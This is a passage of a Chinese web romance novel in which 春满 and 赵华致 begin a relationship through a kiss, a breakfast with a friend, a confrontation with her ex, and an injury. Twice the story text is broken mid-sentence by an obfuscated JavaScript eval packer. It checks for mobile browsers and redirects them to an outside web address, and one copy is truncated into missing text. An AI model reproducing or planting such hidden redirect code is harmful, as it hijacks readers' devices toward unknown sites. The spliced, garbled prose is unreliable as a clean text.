“我没这么久。”春满争辩的语气里带了些委屈。 赵华致垂着眼,虎口卡在下颌处,用拇指指腹摸了摸她的唇,玩上瘾了似的。 “我没碰你这。”春满继续瞪他。 只是一个眼神,还没办法把他唬住,赵华致语气颇有几分挑衅:“你可以碰回来。” 话音刚落,春满招呼也没打,突然转脸朝他虎口偏食指根的位置咬了下,眼神凶呼呼的,依旧没什么威力。 也不疼。 不给赵华致反击的机会,春满盯着墙上的时钟,说:“十一点了,我得睡觉了。” “赶我走?”赵华致仿佛挨了多重的伤似的,举着刚被她咬过的手,语气比她刚才还要委屈,“你把我咬了,不负责吗?” 春满装没听见,直接拍了下他的手背,结果一时没把控好力度,啪一声,十分响亮。 春满有些心虚,推了推他的后背,补充解释道:“我真得睡了,困。” 赵华致虽不情愿,却仍配合地被她推着往外走,期间偏头问:“两个月了,还没考虑好?只要给我个名分,我开开心心送你出国。” 如此重要的问题,被他这般随意地问出。 春满动作顿了下,最终把门拉开,说:“我觉得做朋友挺好的。” 赵华致站直,遇事一向不慌的人被这句话说得丧失思考能力,他有些难以置信地看着她,确认道:“真心的?” 春满干脆地应了声“是”,重复道:“做朋友吧,对彼此都好。” 赵华致在门口换回自己的鞋子,动作缓慢,期间看了春满一眼。春满背着手,什么也没说。 好似方才那么严肃且重要的话题没发生一般。 赵华致过去按了电梯下行键,春满仍站在门口,一副要看着他上电梯的姿态。 电梯到得格外快,春满目送他进去,说了句:“早点休息。” 赵华致抬了抬被她咬过的那只手,算是回应。 随着电梯门关住,近乎停滞的空气十分静谧, 他的手悬在半空迟迟没有按楼层按钮。 外面的电梯间在他离开后,复而恢复安静,春满倚在门框上,心里莫名变得空落落的。 仿佛这里缺了什么一般。 她盯着暗红色脚垫看了会儿,最终还是站直身子,不打算做无谓的情绪挣扎。 她的确做出了一个对彼此都好的选择。 成年人的世界中,个人感情是最容易被牺牲的东西。 这样对彼此都好。 电梯门被打开的摩擦声唤回春满游离的思绪,她转到一半的身子稍稍回去些,想看是出了什么问题。 只见赵华致大步流星地迈出来,身体拖出的影子在春满眼前晃过,等她反应时,肩膀被人猛得钳制住,整个人重重地撞到敞着的防盗门上。 “出什……”春满询问的声音刚响起,便被赵华致突然放大在自己眼前的五官惊得紧了紧扶在门板上的手。 “你刚刚撒谎了。是吗?”赵华致很少在她面前露出这种施压的态度。 春满喉咙堵着,半句反驳的话都说不出来。 “我接下来准备吻你,但你可以拒绝。”赵华致的视线直直地盯在她的唇上,他平静又疯狂,大度又强制,“你大概有五秒的时间可以推开我,如果你没有,那就是默许。” “五。”赵华致开始倒数。 “四。” 春满紧了紧抓着门板的手指。 “三。” 春满觉得自己快疯了,明明赵华致倒数得如此慢,但她只觉心脏狂跳,喉咙发紧,她一厘一毫地把他五官轮廓深刻地看在眼里、印在心里,却来不及做什么。 “二。春满,你不能逃了。” 一。 春满在心里接上赵华致没有数出的最后一个数字。男人双唇覆上来时,春满心弦微跳,绷断了一根。 她再想制止时,已经于事无补。 赵华致空着的那只手扶在她后颈上,迫使她仰脸迎接,方便他加深。 和他足够耐心的等待相比,这个吻非常的激烈。春满先前试图推开他的手抵在他的胸膛上,直观地感受到他同样激烈的心跳节奏。 他专注而沉浸,无节制地探索、再探索,召唤着春满一起卸下防备。 春满踮了踮脚,分不清是主动,还是他力气太大。一如她不知道自己的手臂什么时候攀到他的肩膀上,两人身体紧密地贴着,方才有过克制,此刻便有多激烈。 谁也不让谁。 如果不是春满不小心咬破赵华致的唇,他们都不知道这个吻还要持续多久。 舌尖舔到血的味道,春满更加慌乱地躲闪起来。 痛感早已被别的情绪覆盖,赵华致在再度沦陷的节点,恢复了思考能力。他抵着春满的额头,微微喘息着,一两秒后,才舍得分开些。 “我不会和我的朋友接吻,关系再亲近也不会。” 春满靠抓着他的衬衣支撑自己,指节越收越紧,声音低却清晰:“……我也不会。” 对成年人而言,个人感情是最容易被牺牲的,但也是最难得的。 一旦遇到对的人,要如何才能甘心舍弃。 “我到底错过了多少。”赵华致用指腹蹭掉她唇角的那抹红,自问自答般,继续道:“不过没关系,我们来日方长。” 随后赵华致摸了摸春满的头发,轻声说:“我这次真回去了。” 他刚抬步,手腕一紧,是春满拉住了他。 赵华致回头望着她,春满嘴唇张开又合住,几次喘息间,她才找到自己的声音:“你嘴唇的伤,记得处理。” 赵华致应了声“好”,语气柔软又深情。 29.第 29 章 29 送走赵华致,春满回到房间,把吹风机收起来,再去水吧台洗杯子。 做完这两件事她靠在吧台上,抬手摸了摸自己的嘴唇。 明明今晚打定主意要划清界限的,怎么话赶话答应了呢。 手机震动,春满找到手机查看,是赵华致的消息,问她:“明早想吃粥还是小面?” 是要一起吃早餐。 这段时间经常这般,已经成了习惯。 春满手指敲了几下键盘回复,决定不想了,明天和赵华致好好聊聊吧。 “我来准备。”春满回复。 消息内容一个多余的字都没有,冷静得颇有几分鸿门宴的阵势。 翌日,不早不晚,春满家的门铃八点准时被按响。 春满以为赵华致到了,开门却看见姜早早打着哈欠往屋里走。 “怎么这个时间过来了?”春满看她一副睡眠不足说不准什么时候便晕倒的状态,连忙把她手里拎着的一袋沉甸甸的早点接过来。 姜早早趿拉着拖鞋往沙发区走,有气无力地回:“开会开到这个点你敢信?我先眯一会儿。” 春满把吃的带去厨房,姜早早躺在沙发上眯了没两分钟,摸出手机开始看,不知道是不是又有工作,看了会儿才重新合住眼皮。 门铃再响时,春满走得比平常要快些,不是因为外面站的人,纯属担心声音吵到姜早早。 并不知晓原因的赵华致隔着门板隐约听到里面急促的脚步声,弯了弯唇。 春满开门,闯入眼帘的是一大束红玫瑰,一两秒后,赵华致才从花后面探出头:“早上好。” 春满嘴角动了动,很是严肃和凝重,把花收过来道谢,并没有让开路。 赵华致不解地歪了歪头,说:“下次不用这么着急,我多等一会儿没关系。” 春满张了张嘴又合住,没多解释,只是说:“早早在我家。” 赵华致抬了抬眉。 沙发上的姜早早后知后觉门口有访客,在美食的诱惑下从沙发上坐起来,扬起的声音中略带疑惑:“是我点的奶茶到了吗?这么快。” 她现在急需奶茶续命,积极地朝门口走了两步,看清门外的人。 “赵总?” 春满怀里抱着花,让不让他进来都没有区别,索性让开路:“先进来吧。” 姜早早知道赵华致在追春满,所以对他送花的行为不觉奇怪。她看看赵华致又看看春满怀里的话,调侃道:“赵总一大早去花店?” “晨跑路过。”赵华致如常地和姜早早说话。 这么大个八卦摆在眼前,姜早早根本不需要什么续命奶茶,困意早没了踪影。她哦了声,问:“赵总和慢慢约好了吃早饭吗?不介意我留在这里当电灯泡吧。” “当然,是我打扰了。”赵华致姿态摆得端正,话说得客客气气。 春满放个花的功夫,他俩的对话也结束了,适时地问:“我还没来得及做早饭,早早买了些,我再给你做个三明治?” 春满昨晚主动提出的,她来准备早餐。 赵华致应了声“可以”,同时朝她走过来:“需要我帮忙吗?” “不用,很简单。” 虽然听春满这般说,但赵华致并没有走开。 开放式厨房的流理台隔着张餐桌是沙发区,姜早早坐在沙发上,此时还没有觉得异常,低头看手机。 春满把姜早早带回来的早点该回温的回温,一一装盘,这些量足够三个人吃,她在思索还要不要做三明治。 察觉到赵华致一直在盯着自己看,春满隔着油纸拿了个烧麦给他:“先垫一口吗?” 春满的本意是让赵华致自己拿着吃,谁料赵华致往前一倾身,凑上前就着她的手咬了口。 “好吃。” 春满吓得朝沙发区看了一眼,姜早早正在玩手机没注意到这边。 春满把他吃剩余的放到他面前,小声提醒赵华致:“自己拿着吃。” “没洗手。”赵华致的理由理直气壮。 春满朝洗菜盆的方向示意:“现在洗。 赵华致洗手擦干,离得春满更近了些。过道空间设计得非常合理,很宽敞,但两个人站在这,不知怎的,感觉特别拥挤。 门铃声又响起,这次是姜早早点的奶茶了,她起身去拿。 赵华致从不安分地碰碰贴贴,进阶到伸手去揽她的腰。春满警告地瞥着赵华致一眼,提醒:“别闹,早早还在呢。” “在怎么了,正常互动。”赵华致顿了下,问,“还是说你只想和我地下恋?” 两人面对面站着,春满刚好看到赵华致嘴角的伤。昨晚分开的时候没觉得,现在凑近了看,才发现挺明显的。 让他回去处理一下,估计没放在心上。 春满回忆起昨晚的那个吻,一时间打的腹稿全忘在脑后。 她不自知地吞咽了下口水,心猿意马地回道:“不是。” “那拉会儿手,偷偷地。”赵华致的要求并不过分。 春满没找到合理的理由拒绝,手缓慢地伸过去,岂料赵华致刚碰到她的手指,姜早早取了奶茶回来。 “可算是活过来了,慢儿,你现在喝——吗?”姜早早边走边捅开自己那杯的塑封膜,插上吸管猛吸了口,话说到一半,遥遥地看到春满反应过激往回抽手的动作,敏锐地察觉到事态比她也以为的要激烈些。 春满语气如常地问:“给我点的什么?” “你总喝的,芋泥厚乳。”姜早早走近些,把奶茶递出去,不确定地打量着两人。 春满喝了口奶茶,把装着早点的盘子递给赵华致,使唤起人来很是顺手。 赵华致不是第一次在春满家吃饭,对餐厅和厨房内基础用品的摆放位置十分清楚。 有猫腻。绝对有猫腻。姜早早在心里如是想,深藏功与名地帮忙端了个盘子,走向餐桌。 几个盘子陆续摆在桌上,赵华致和姜早早斜对角落座,春满端着最后一盘放到赵华致面前,坐在姜早早旁边,对赵华致说:“突然发现家里没面包片了,只吃煎蛋吧。” 姜早早盯着只有赵华致有的煎蛋,觉得自己什么也不问才显得过于奇怪:“你们俩这是……?” 春满没给赵华致回答的机会,径自问:“你也想吃煎蛋?” 这是不让她问的意思。姜早早反正不急在一时,自觉地闭嘴,专心吃。 但越不让她问,她就越好奇。好在这时春满的手机响起,趁她去接电话的功夫,姜早早清了清嗓子,看向赵华致,并不抱希望地八卦:“你嘴上的伤不是上火吧?” 赵华致抬手摸了摸嘴角:“看着不像吗?” 一听这个回答,姜早早便知道这伤是怎么来的。好歹她也是专门写偶像剧剧本的人。 “是追到了?”姜早早眼睛一亮,闪烁着惊诧的神色。 赵华致回答问题时意外配合,但用词很保守:“算是吧。” 姜早早了解春满,知道能到这个程度已经很不容易了,莫名地松了口气:“这我就放心了,看到慢慢不排斥你,我的负罪感也能少点。以后别再做利用我的事了,我会酌情帮忙的。” 赵华致和她碰了碰牛奶:“谢谢。” “好说好说。” 春满回来时,这两位的对话已经结束。 春满坐下,拿起勺子喝粥,主动问姜早早:“你之前说想去打卡的餐厅在哪?下班后我们去吃。” 姜早早瞟了赵华致一眼,略有犹豫地反问春满:“你今天没事吗?” “没有。”春满没敢看赵华致,因为她刚一坐下就能感受到赵华致的拖鞋碰到她的拖鞋,也不知道是不是故意的,反正赵华致迟迟没有移开。 并且在春满回答姜早早时,赵华致一条腿挤进了春满两腿之间,小腿贴着小腿,似乎是无声地抗议她的安排。 春满恍若未觉,和姜早早约定好了下班后的安排。 “我吃好了,你们慢慢吃。”姜早早把奶茶喝光,绕到水吧台接了杯水,熟门熟路地往客卧去:“我补会儿觉,下班见。” 随着客卧的门关住,春满把腿绕开斜放着。 赵华致适才出声发表自己的意见:“我原本计划下班后约你去看电影。” 春满喝完最后一口粥,把勺子放下,并不觉得自己的安排有何不妥,道:“你早不说。” 赵华致觑她,刚刚那情形春满能让他说吗? 她明显是故意的。 针对早餐前他捉弄她的提醒。 赵华致没谈过恋爱,还没谈判过生意吗?这种入门级的博弈,一向入不了他的眼。 但当耍心思的人成了春满,意思就变了,他莫名地觉得她使小性子时非常可爱,且真实。 春满起身简单收拾了餐桌,任由赵华致视线锁定在自己身上,洗了手回到餐桌边时,她开始赶人:“快到上班的点了,你还不回去收拾东西。” 赵华致配合地起身,春满借着把厨余垃圾放到门外这件事送他到门口,一路表现得自然不刻意。 赵华致跨出门时,滞足,回头看她,这个位置刚好是两人昨晚激吻的地方。 “待会儿我送你上班。”他主动提。 春满把垃圾放下,顺手拿过玄关柜上的湿巾擦了遍手,没连续驳赵华致的面子:“好。要给你带杯咖啡吗?” “杯子好像在车里。” “另外给你用个新的。你两个换着用。” 打一个巴掌给一颗糖。赵华致格外受用,伸手拉了拉春满的手,确认道:“还生气吗?” 生气谈不上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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刚散会时格子间的工作氛围并不浓烈,有员工滞留在茶水间闲聊。 “你注意到老板嘴边的伤了没?原来老板娘这么激烈啊。” “我们有老板娘吗?” “有没有老板娘我不知道,反正这伤不可能是上火。而且老板今天衬衣扣到最上面压那颗,嘤……不会是脖子上印子遮不住了才故意这么穿的吧。” “我觉得你说的有道理。” 房嘉恺经过茶水间时,径自路过,他这阵子跟丢了魂似的,对别人的八卦根本提不起兴趣。 - 和赵华致相比,春满这一天不算忙。 下班时间,补足了觉的姜早早容光焕发,妆容精致,驾车来接她下班。 闺蜜俩吃饭、逛商场,以及做spa。 姜早早全程不问她和赵华致的关系进展,反倒让春满感觉反常,越发肯定这俩人私底下沟通过什么。 做spa时已经很晚了,春满料定和赵华致约好的晚上看电影的安排要泡汤。 好在早晨没有把这件事情说死。 抱着这种侥幸心理,春满给赵华致发消息,说明自己没办法早回去。 赵华致表示谅解,只让她到家时跟他报个平安。 春满照做,到家时夜里十点半。 春满到家的第一件事便是给赵华致发消息,然后去给猫换了猫砂,刚收拾完,门铃响了。 目前有她家门禁卡的也就姜早早、满郁和赵华致。满郁出门丢三落四,最怕麻烦的人,那张门禁卡有也相当于没有,回回不带。 姜早早没道理再跑一趟。 那就只要赵华致了。 哦,还有个谢开阳,这个小区是谢家开发的,他肯定出入自由。 但春满直觉外面是赵华致。 她开了门,许是因为猜准了,见到人时,扬起的笑格外甜:“怎么下来了?” “想跟你待会儿,现在家里没人吧?”鞋柜在门外,赵华致换室内拖鞋的动作非常熟练。 春满说“没有”,让了让路,不确定地问道:“你不会一直在等我吧?” “没,我也刚忙完。”赵华致语气坦然,让人分辨不出真假。 春满盯着他看了会儿,顺势问:“饿吗?我给你煮个面?” 赵华致虽然想吃,但没舍得她忙:“不用麻烦,陪你说会儿话就走。” “只说话吗?”逛商场累人,但春满回来前去做了全身spa,此刻浑身舒展,十分放松。她此刻望向赵华致时,眼睛很亮,人与人间的磁场很奇妙,她很轻易地看明白赵华致的意思,他想亲她。 而她也是。 30.第 30 章 30 他们揣着明白装糊涂般,都没表明。 “还是看会儿电影?”赵华致提议。 春满把客厅的投影幕布降下来,遥控器塞他手里:“你来挑。” 赵华致选电影的功夫,春满洗了盘草莓端过来。 她扫了眼幕布,才发现赵华致这么久没选出片子的原因,他正在翻看播放记录。 “挑一部你之前看过的吧,当背景音,不用费神看剧情。” “都行。”春满拿过自己经常抱着的抱枕挨着赵华致坐下。 赵华致就近点开了《泰坦尼克号》,电影从上次中断的地方开始播放。 “要从头吗?”春满说。 “接着你的进度看就行。” 这电影是春满昨晚看的,烂熟于心的剧情,昨晚看了会儿便关了。 这会儿才注意到播放到哪个情节。 春满踢开拖鞋,把腿飘到沙发上,换了个自己最舒服的姿势。刚坐好,她又想去拿草莓吃,不太方便地往前倾了倾身。 赵华致把盘子给她端近些,春满道谢,拿了两颗,慢慢地吃。 人在尴尬的时候总会装成很忙的样子,虽然春满觉得大家都是成年人,没必要尴尬。 下一秒,她拿过遥控器,把这部分快进过去。 赵华致仍旧端着果盘方便她继续吃,刚正回脸看了眼屏幕,见状偏了偏头。 春满横了他一眼:“你故意挑这部的吧。” 赵华致冤枉道:“这不是你看的吗?” 电影的背景音乐舒缓流淌,春满好像看到赵华致为她拉小提琴的场景。 当时大庭广众,她连眼神都克制。如今孤男寡女,有足够她放肆的空间。 挤在促狭的车厢内的仿佛成了他们。 “You nervous?”赵华致深深地望着她,在重复电影中的台词。 “No。” 他们呼吸交错,挨在一起的身体感受着对方的体温。 “昨晚为什么看这部电影?”赵华致其实已经猜到原因,明知故问。 春满实话实说:“因为想你。” 赵华致的目光一寸寸地描摹着她的五官,春满不躲不闪,眼神直白又赤/裸,“以后每一遍看,都只会想起你。” “我的荣幸。”赵华致把果盘放回去,手顺着沙发坐垫摸到了她的手指,一寸寸地攥住,眼神勾缠,却没有多余的动作。 他显然在等春满说那句。 “Put your hands on me。” 春满反拉赵华致的手,把它放到自己的身上。 力道由他自己控制,吻随即落下。 电影还在继续,他们也是。 甚至更漫长。 经过一番探索,赵华致撩起眼皮看她:“锁骨比耳朵敏感?” 春满含糊地嗯声。 赵华致不急不躁的,吊带外的针织罩衫层层叠叠堆在他的手腕处。 春满激灵了下,似乎是要躲。 “怕痒?”赵华致问。 春满:“手表很冰。” “抱歉,没注意。”赵华致手绕到她后背,把手表给摘了,这个近乎环抱她的动作,让两人离得更近。 赵华致拿起旁边的抱枕,放在自己身上,然后把人抱过来。 虽然只是一个抱枕的距离,春满感觉整个人飘着,坐不到实处,心里莫名的烦躁。 当然,让她烦躁的也不止这一处。 赵华致看似对接吻这件事很是痴迷,实则是两人中最清醒的那个。他收放有度,对节奏的把控很得要领。 像是喂到春满嘴边一颗草莓,她刚准备吃,赵华致便往回缩一缩。 春满为了吃这颗草莓,不甘心也好,被草莓诱惑也好,只能自己往前凑。 赵华致在钓她。 春满原本没多大的欲望,硬生生被他撩起了火苗。 等她意识到时,人已经远超乎自己想象的主动,正中赵华致下怀。 春满不服气地责问:“你真的是第一次恋爱吗?” “不然呢?”赵华致反问。 春满正是因为知道答案才疑惑,赵华致在接吻这件事上真是天赋异禀。春满捏了捏他的下巴,抬高些,继续问:“非恋爱关系的对象呢? 赵华致会给她一个“你还真敢问”的眼神,语气认真,回答:“没有。” “那你为什么这么会?”春满的手指不轻不重地滑到他的耳后。 “多亏女朋友引导的好。”赵华致对于夸奖很是受用,虽然没骄傲,但开始口出狂言,“况且这就叫好了,你要求也太低了。” 春满眼睛发亮,直勾勾地盯着他,问:“那什么样才叫好?” 赵华致没说话,揽在她腰上的手突然用力,下一秒,春满被抱到靠外一些的位置。 抱枕不知什么时候已经被挤掉了,这对赵华致而言是种折磨。 春满知道是因为什么,没继续挑衅,主动从他腿上下去,转身拉过不远处的移动茶几,拿过那一盘草莓。 “吃吗?” 春满蹲在他面前,托着盘子,拈起一颗后手没力气地举着。 不高不低,赵华致靠在沙发上是吃不到的,他前倾,衔住,直勾勾地看着春满,却没吃进嘴里。 春满见状,把拿起的另一颗草莓放下,伸了伸脖子,和他吃同一颗。 她这个姿势算不上舒服,被赵华致抓着手臂靠近时,险些重心不稳,她膝盖抵着地毯,保持着跪在地上的姿势才稳住。 赵华致的手顺着她的脊椎落在她后腰上,腰眼处传来酥酥麻麻的异样感觉,让她身体格外柔软。 草莓汁水四溢,唇和眼尾都是红的。 不知过了多久,赵华致终于记起担心她的膝盖,把人抱起来压倒在沙发上。 她膝盖已经被磨红了。 赵华致俯身,吻了吻。 以至于赵华致再亲春满时,她抬手推开,拒绝:“不亲了。” “你嫌弃你自己?”赵华致的手不安分。 突然响起的门铃声打断了春满没说出口的狡辩,她适时推了身前的人:“门铃响。” “这个时间。”赵华致拿起一旁的手表看了眼,“谁会来找你。” “真的有人,你听。” 门外的人按了两遍门铃后,出声:“慢慢,你在家吗?慢慢?” 春满坐起来,扯好自己身上的罩衫,准备去开门,听到这个声音,立马顿住。 是房嘉恺。 赵华致也听出来了,疑问地看了她一眼。 春满主动解释:“不是我叫他来的。” - 房嘉恺听到屋里传来的脚步声,安静地等待着。 他手里拿着一个与他以及这个场景十分不搭调的玩偶,一只手可以拿得过来的大小,里面有一个小音箱,录了一些春满翻唱的歌。 这是两人在一起四周年时,春满送她的礼物之一。 他一直以为手表才是真正的礼物,玩偶只是用来展示那块手表的。 几天前,他夜里辗转反侧时,把玩偶中的歌完整地听了一遍,发现其中藏着的一份更重要的礼物。 他们刚在一起的头两年,春满工作不在本地,两人聚少离多。春满每到一个地方,都会录一段音频,有风吹树叶的声音、海浪拍岸的声音,有动物的嚎叫、鸟鸣声……每一种白噪音中,都有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14752080|154274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 春满介绍的声音。 她在哪里,在做什么,然后说想他。 后两年,他们朝夕相处的时间变多,春满依然没改掉这个习惯。几乎每个重要日子都会偷偷录一段音频,生日、升职、纪念日,又或者只是一次开心的约会,某个发生争吵的日子。 她很少在录音中说想念,但字字句句都是爱意。 房嘉恺那晚彻夜未眠,把这条很长很长横跨四年的音频听了无数遍。 直到一个小时前,他在家里收拾房间,找到了一张过去遗失的春满家的电梯卡。 房嘉恺觉得是命运给了他一个契机。 他终于再一次找了来。 但就在来的路上,等红绿灯时,他在手机上看到同事分享来的,赵华致在餐厅拉小提琴的短视频。 房嘉恺原本不感兴趣,正要退出前,看到了赵华致正对的餐桌旁,春满的背影。 有几秒,录到了春满的侧脸。 真的是她。 绿灯跳亮,房嘉恺在后车不满的喇叭声中,魂不守舍地发动车子。 后半程是如何开到春满家所在小区的都不知道,房嘉恺坐在车里冷静了很久,才下车进小区。 屋里的脚步声停在和他一门之隔的位置,房嘉恺缓缓放下敲门的手。 门打开,两人一里一外地站着,谁也没有先开口说话。 良久后,是房嘉恺打破了沉默:“我在家里找到张电梯卡,觉得你以后能用得上。” 春满把卡接过来,视线下垂时,扫见他手里的玩偶。 玩偶被房嘉恺摆在床头,但里面的内容他大概没有发现。如今被他特意拿来,想必是发现了。 但一切都太迟了。 房嘉恺把玩偶拿高些,想向春满剖白自己的内心,只是没等开口,他注意到春满肩窝处,罩衫滑开后露出的皮肤上,有一圈明显的牙印。 只看脖子上的那一处红痕,房嘉恺能自我安慰是被蚊子咬的。 但牙印便没有其他解释。 一瞬间,房嘉恺心平气和的挽留,尽数变成了气急败坏:“你们睡了是吗?” 春满一时没跟上他的节奏,反问:“什么?” “赵华致不是在追你吗?难怪和我分手分得这么痛快,春满你就这么急不可耐吗?”房嘉恺凝视着她,怒火中烧。 春满冷脸,抓着门板的手指紧了紧。 人怎么可以不管有没有理,都这般理直气壮呢? 手被赵华致从门板上抠下来,春满才意识到赵华致出现在自己的身后。 在房嘉恺逐渐仇视的眼神中,赵华致拍了拍春满的手臂,安抚道:“你进屋,我和他说。” 房嘉恺现在什么也听不进去,仿佛全天下都欠他的,面对赵华致咄咄道:“和下属抢女人,赵总,你的品味也就这样了。” 赵华致跨出门槛,带上门,把房嘉恺和气愤到浑身骤冷的春满隔绝开。 房嘉恺没给赵华致解释或者宣战的机会,他冷笑一声,很是不体面地开口:“她被我调教的还可以?” 赵华致蹙眉,没给他说下去的机会,一拳挥过去。 房嘉恺身体打着晃后退几步,堪堪站稳时,又一拳袭来。 “艹!你疯了吗?!”房嘉恺咆哮。 赵华致动怒时,向来比一般人更有威势:“我真后悔打晚了。” 话音刚落,身后的门被从里面打开。 春满仿佛没有看到房嘉恺嘴角的伤,语气冷静且冷漠,道:“你走吧,别再来了。” 不知道房嘉恺是被这两拳打清醒了,还是意识到赵华致在这里,他再闹也讨不到便宜。 只见他抬手擦了擦嘴角的血,扭头按开电梯,走了。 31.第 31 章 31 电梯门关住,楼层数字开始下跳。赵华致弯腰捡起被房嘉恺丢在地上的小熊玩偶,拍干净上面的尘土,转身见春满一动不动地站在原地,单手抱了抱她。 “我没事。”春满方才在屋里,没听见房嘉恺那句刺激到赵华致出手的话,她仍旧感到失望,怀疑自己是否一开始便看错了人。 若他的道德感真那般界限清晰,他又何至于做出和异性好友不清不楚的行为呢。 真讽刺。 春满现在的状态不算好,赵华致对她的话半信半疑,但没拆穿也没深究,只问:“这个怎么处置?” 春满看到他手里的玩偶。留是不可能再留了。 “给我吧。”春满要过去,在玩偶肚子的位置摸索几下,确认里面的电子设备还在,打算晚些时候抠出来把语音内容格式化再丢掉。 两人回到客厅,电影进入尾声,剧情气氛压抑而沉痛。春满注意力无法集中,索性枕着赵华致的大腿,躺在沙发上,佯装看电影沉默不语。 赵华致怕她枕得不舒服,给她垫了个抱枕。 春满朝另外一侧翻过身,脸冲着他的腰腹处,背对着投影幕布,看上去是困了。 赵华致的手随意搭在她身上,轻拍两下,无声地安抚。 可能是这一天太累了,没一会儿困意真的袭来,电影背景音只起到催眠作用。 睡梦中依稀听到赵华致轻声叫自己,但是春满不知道该如何面对他,潜意识里不想醒来。 似乎是又过了会儿,春满很模糊地感觉自己的身体豁然腾空,只当是在做梦,不知道那是赵华致把她打横抱起来。 再之后的记忆便没有了。 凌晨的时候,春满觉得口渴,醒了一次,半合着眼皮,梦游似的去倒水喝。 春满摸索着走了半程,才意识到哪里不对劲儿,今天家里的小夜灯没亮,不知道是不是坏了。 她在犹豫要不要按开一盏灯时,鞋底不知踩到什么东西,只听猫咪浑身炸毛凄惨地叫了声,春满才知道自己不小心踩到它的尾巴。 她急急火火地移开步子,结果越忙越乱,拖鞋本就没穿实,两腿搅在一起,自己把自己给绊倒了。 没摔出狗啃泥的狼狈场景,春满动作夸张地迈出一个前弓步,幸好没亮灯,这个姿势真的太中二又傻逼了。 头晕脑胀的困意一时间全醒了。 罪魁祸首除了尴尬,还有左脚脚踝处传来的痛感。 春满往临近处的单人沙发挪了几步,没等到达,她只觉脑门蒙了一层冷汗,索性席地而坐,缓了会儿。 夜晚放大了人的敏感情绪,睡前没想明白的事,此刻依然是她的心结。 她不知道在地毯上坐了多久,发现手背上湿漉漉得不知是从哪里滴来的水,才意识到自己在哭。 春满胡乱擦了擦脸,艰难地站起来,怀疑自己的脚踝应该是骨折,在卧室的床头找到自己的手机,拨通了姜早早的电话。 - 翌日早晨,赵华致晨跑返程,像往常一样买了早餐,准备先给春满打个电话问她起了没,谁曾想,一进电梯便遇到了左脚打着石膏的春满。 “赵总,早!”姜早早主动打招呼。 赵华致应了声,视线始终落在春满的石膏腿上。 如此突兀的存在,春满想藏都没法藏,主动解释道:“起夜时不小心摔的。” 赵华致确定自己醒来没看到来自春满的未读消息和未接电话,她发生意外,并没有第一时间向距离最近的男朋友求助,而是麻烦家离得远的闺蜜。 赵华致沉默得越久,春满心越慌。 注意到姜早早捏着手机跟人发语音,没看自己,春满伸手,拉住了赵华致的手。 赵华致刚运动过,体温较平常要烫。 若是昨天,赵华致肯定第一时间反握住她,捏着她的手指揉揉搓搓。但此刻,赵华致把手收了回去。 春满抬眼看他,赵华致并没有看她,视线投向准备和春满说话的姜早早,问:“你们吃饭了吗?” 姜早早一脸懵,先看看春满,然后才回赵华致:“没。” 赵华致把手里打包的早点递过去:“这个给你们。” 说话间电梯到达七楼,姜早早道谢后接过打包袋,先走出去,靠边等春满。 春满手里有拐杖,倒不用姜早早特意扶。 姜早早视线关注着春满,余光不由自主地落到赵华致身上。 赵华致虽然没跟春满说一句话,但视线始终落在她身上,此刻望着她的背影,表情似是很纠结。 姜早早觉得他想上前扶她一把,但硬生生忍住了。 是吵架了吗? 还是故意在她面前装地下情? 姜早早觉得自己看不懂。 春满走出电梯,扭头去看,但今天电梯关门格外快,不知道是不是里面的人按下关门键。 注意到春满小声地叹了口气,姜早早试探地问:“吵架了?” 春满说了句“没”,一时不知道该如何解释。 姜早早虽好奇,但发觉春满不愿意说,便没问。 到家后,姜早早把赵华致买的早餐吃了一半,给春满把她可能会用到的生活用品摆在沙发边,方便她吃完饭往那里一坐干什么都方便。 “我去补个觉,敞着卧室门吧,你有事大声叫我。” 春满应了声,继续心不在焉地吃剩下的半份早餐。 手机摆在手边,她正犹豫要不要给赵华致发条消息时,先收到了他发来的。 “姜早早留下来陪你?” 春满敲字:“嗯。” “我全天在家,不忙,你有事也可以找我。” 春满继续单个字:“好。” “?只有一个字?” 春满承认,第一个是无心,第二个纯属使坏。 见赵华致不淡定,她才控诉:“是你先不理我的。” “不是你说试用期不公开吗?我只是践行者。”赵华致总有他的逻辑。 春满不继续这个话题,看看桌上的早点儿,再看回手机,问:“你把早饭给我们,你吃什么?” “吃醋。” 赵华致回完这句,把手机放下,开火煎鸡蛋。 锅底受热,蛋液逐渐成型,几分钟后,赵华致关了油烟机,走回餐厅,对话框里迟迟没有新消息进来。 赵华致打算发消息问问她的骨折到底什么回事。 这时他听到门铃响。 赵华致心说这个时间不会有人来,最大的可能,也是最不可能来的人。 赵华致抬步过去,刚走到门口,听到门外人输入门锁密码后开锁成功的声音。 门是外开的,春满扒着门框朝里面探了探脑袋,看到赵华致就在眼前时,吓了一跳。 “怎么上来了?”赵华致惊诧。 春满拄着拐杖,费了会儿功夫才蹦进来,唰一下把手里拎着的半份早餐抬高:“来找你一起吃饭。” 赵华致一手拦腰把人搂住,抱过了门槛,另只手拿过她手里的打包袋和拐杖。 春满攀着他没抱自己的那条胳膊,蹦了几下,和他面对面:“不是不想麻烦你,是昨晚摔得太惨,觉得丢脸,不想让你看到。” 赵华致垂眼觑着卖乖的人,难以分辨她是真不在意,还是故作漫不经心。他揶揄道:“平地走路还能摔吗?” “摸黑喝水不小心踩到猫尾巴,吓得没站稳。”春满往下耷拉着嘴角,“橘皮到现在还不理我,生了好大的气。” “该。”赵华致嘴上冷淡,行动上却在意。她没让春满继续拄拐,扶着她往前走两步,见她实在是费劲,弯腰把她打横抱起。 大概是这个动作让春满回忆起昨晚他把自己抱到床上的经历,她问:“你昨晚几点走的?我都不知道。” 